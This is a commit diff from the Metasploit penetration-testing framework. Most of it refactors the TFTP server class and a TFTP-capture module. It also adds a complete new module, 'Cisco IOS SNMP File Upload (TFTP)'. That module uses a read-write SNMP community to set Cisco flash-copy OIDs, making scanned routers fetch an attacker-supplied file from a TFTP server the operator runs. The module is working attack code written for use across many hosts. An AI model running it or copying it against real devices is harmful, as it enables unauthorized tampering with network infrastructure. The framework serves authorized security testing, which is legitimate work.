Merges pello's Cisco uploader module, merges changes back into the TFTP server class. Fixes #3429
git-svn-id: file:///home/svn/framework3/trunk@11454 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
efafb793c4
commit
bec8a95b02
|
@ -64,10 +64,10 @@ class Server
|
|||
@shutting_down = true
|
||||
|
||||
# Wait a maximum of 30 seconds for all transfers to finish.
|
||||
start = Time.now
|
||||
start = ::Time.now
|
||||
while (self.transfers.length > 0)
|
||||
::IO.select(nil, nil, nil, 0.5)
|
||||
dur = Time.now - start
|
||||
dur = ::Time.now - start
|
||||
break if (dur > 30)
|
||||
end
|
||||
|
||||
|
@ -93,7 +93,7 @@ class Server
|
|||
# Register an entire directory to serve files from
|
||||
#
|
||||
def set_tftproot(rootdir)
|
||||
@tftproot = rootdir if File.directory?(rootdir)
|
||||
@tftproot = rootdir if ::File.directory?(rootdir)
|
||||
end
|
||||
|
||||
|
||||
|
@ -101,7 +101,7 @@ class Server
|
|||
# Register a directory to write uploaded files to
|
||||
#
|
||||
def set_output_dir(outdir)
|
||||
@output_dir = outdir if File.directory?(outdir)
|
||||
@output_dir = outdir if ::File.directory?(outdir)
|
||||
end
|
||||
|
||||
|
||||
|
@ -153,15 +153,15 @@ class Server
|
|||
# entry to the files hash.
|
||||
#
|
||||
def find_file_in_root(fname)
|
||||
fn = File.expand_path(File.join(@tftproot, fname))
|
||||
fn = ::File.expand_path(::File.join(@tftproot, fname))
|
||||
|
||||
# Don't allow directory traversal
|
||||
return nil if fn.index(@tftproot) != 0
|
||||
|
||||
return nil if not File.file?(fn) or not File.readable?(fn)
|
||||
return nil if not ::File.file?(fn) or not ::File.readable?(fn)
|
||||
|
||||
# Read the file contents, and register it as being served once
|
||||
data = data = File.open(fn, "rb") { |fd| fd.read(fd.stat.size) }
|
||||
data = data = ::File.open(fn, "rb") { |fd| fd.read(fd.stat.size) }
|
||||
register_file(fname, data, true)
|
||||
|
||||
# Return the last file in the array
|
||||
|
@ -173,6 +173,7 @@ class Server
|
|||
attr_accessor :sock, :files, :transfers, :uploaded
|
||||
attr_accessor :thread
|
||||
|
||||
attr_accessor :incoming_file_hook
|
||||
|
||||
protected
|
||||
|
||||
|
@ -185,14 +186,16 @@ protected
|
|||
nil
|
||||
end
|
||||
|
||||
|
||||
def save_output(tr)
|
||||
self.uploaded << tr[:file]
|
||||
|
||||
return incoming_file_hook.call(tr) if incoming_file_hook
|
||||
|
||||
if @output_dir
|
||||
fn = tr[:file][:name].split(File::SEPARATOR)[-1]
|
||||
if fn
|
||||
fn = File.join(@output_dir, fn)
|
||||
File.open(fn, "wb") { |fd|
|
||||
fn = ::File.join(@output_dir, fn)
|
||||
::File.open(fn, "wb") { |fd|
|
||||
fd.write(tr[:file][:data])
|
||||
}
|
||||
end
|
||||
|
@ -201,7 +204,7 @@ protected
|
|||
|
||||
|
||||
def check_retransmission(tr)
|
||||
elapsed = Time.now - tr[:last_sent]
|
||||
elapsed = ::Time.now - tr[:last_sent]
|
||||
if (elapsed >= tr[:timeout])
|
||||
# max retries reached?
|
||||
if (tr[:retries] < 3)
|
||||
|
@ -262,7 +265,7 @@ protected
|
|||
pkt << chunk
|
||||
|
||||
send_packet(tr[:from], pkt)
|
||||
tr[:last_sent] = Time.now
|
||||
tr[:last_sent] = ::Time.now
|
||||
|
||||
# If the file is a one-serve, mark it as started
|
||||
tr[:file][:started] = true if (tr[:file][:once])
|
||||
|
@ -282,7 +285,7 @@ protected
|
|||
pkt = [OpAck, tr[:block]].pack('nn')
|
||||
|
||||
send_packet(tr[:from], pkt)
|
||||
tr[:last_sent] = Time.now
|
||||
tr[:last_sent] = ::Time.now
|
||||
|
||||
# If we had a 0-511 byte chunk, we're done.
|
||||
if (tr[:last_size] and tr[:last_size] < tr[:blksize])
|
||||
|
@ -355,7 +358,7 @@ protected
|
|||
|
||||
#puts "%s %s %s" % [start, fn, mode]
|
||||
|
||||
if (not @shutting_down) and (@output_dir)
|
||||
if not @shutting_down
|
||||
transfer = {
|
||||
:type => OpWrite,
|
||||
:from => from,
|
||||
|
|
|
@ -44,24 +44,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Hook for the TFTP Server to save incoming files via Proc
|
||||
#
|
||||
module TFTPCapture
|
||||
attr_accessor :incoming_file_hook
|
||||
def save_output(*args)
|
||||
if incoming_file_hook
|
||||
incoming_file_hook.call(*args)
|
||||
else
|
||||
super(*args)
|
||||
end
|
||||
end
|
||||
|
||||
def fake_output_dir
|
||||
@output_dir = "/" + Rex::Text.rand_text_alphanumeric(128)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Start the TFTP Server
|
||||
#
|
||||
|
@ -69,9 +51,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Setup is called only once
|
||||
print_status("Starting TFTP server...")
|
||||
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
|
||||
@tftp.extend(TFTPCapture)
|
||||
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
|
||||
@tftp.fake_output_dir
|
||||
@tftp.start
|
||||
add_socket(@tftp.sock)
|
||||
|
||||
|
|
|
@ -0,0 +1,142 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Cisco
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will copy file to a Cisco IOS device using SNMP and TFTP.
|
||||
A read-write SNMP community is required. The SNMP community scanner module can
|
||||
assist in identifying a read-write community. The target must
|
||||
be able to connect back to the Metasploit system and the use of
|
||||
NAT will cause the TFTP transfer to fail.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'pello <fropert@packetfault.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
OptPath.new('SOURCE', [true, "The filename to upload" ]),
|
||||
OptAddress.new('LHOST', [ false, "The IP address of the system running this module" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Start the TFTP Server
|
||||
#
|
||||
def setup
|
||||
|
||||
@path = datastore['SOURCE']
|
||||
@filename = @path.split(/[\/\\]/)[-1] #/
|
||||
|
||||
# Setup is called only once
|
||||
print_status("Starting TFTP server...")
|
||||
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
|
||||
|
||||
# Register our file name and data
|
||||
::File.open(@path, "rb") do |fd|
|
||||
buff = fd.read(fd.stat.size)
|
||||
@tftp.register_file(@filename, buff)
|
||||
end
|
||||
|
||||
@tftp.start
|
||||
add_socket(@tftp.sock)
|
||||
|
||||
@main_thread = ::Thread.current
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Kill the TFTP server
|
||||
#
|
||||
def cleanup
|
||||
# Cleanup is called once for every single thread
|
||||
if ::Thread.current == @main_thread
|
||||
# Wait 5 seconds for background transfers to complete
|
||||
print_status("Providing some time for transfers to complete...")
|
||||
::IO.select(nil, nil, nil, 5.0)
|
||||
|
||||
print_status("Shutting down the TFTP service...")
|
||||
if @tftp
|
||||
@tftp.close rescue nil
|
||||
@tftp = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
begin
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
|
||||
ciscoFlashCopyCommand = "1.3.6.1.4.1.9.9.10.1.2.1.1.2."
|
||||
ciscoFlashCopyProtocol = "1.3.6.1.4.1.9.9.10.1.2.1.1.3."
|
||||
ciscoFlashCopyServerAddress = "1.3.6.1.4.1.9.9.10.1.2.1.1.4."
|
||||
ciscoFlashCopySourceName = "1.3.6.1.4.1.9.9.10.1.2.1.1.5."
|
||||
ciscoFlashCopyDestinationName = "1.3.6.1.4.1.9.9.10.1.2.1.1.6."
|
||||
ciscoFlashCopyEntryStatus = "1.3.6.1.4.1.9.9.10.1.2.1.1.11."
|
||||
|
||||
session = rand(255) + 1
|
||||
|
||||
snmp = connect_snmp
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(5))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
# If the above line didn't throw an error, the host is alive and the community is valid
|
||||
print_status("Copying file #{@filename} to #{ip}...")
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyProtocol}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyServerAddress}#{session}", SNMP::IpAddress.new(lhost))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopySourceName}#{session}", SNMP::OctetString.new(@filename))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyDestinationName}#{session}", SNMP::OctetString.new(@filename))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
disconnect_snmp
|
||||
|
||||
# No need to make noise about timeouts
|
||||
rescue ::SNMP::RequestTimeout, ::Rex::ConnectionRefused
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue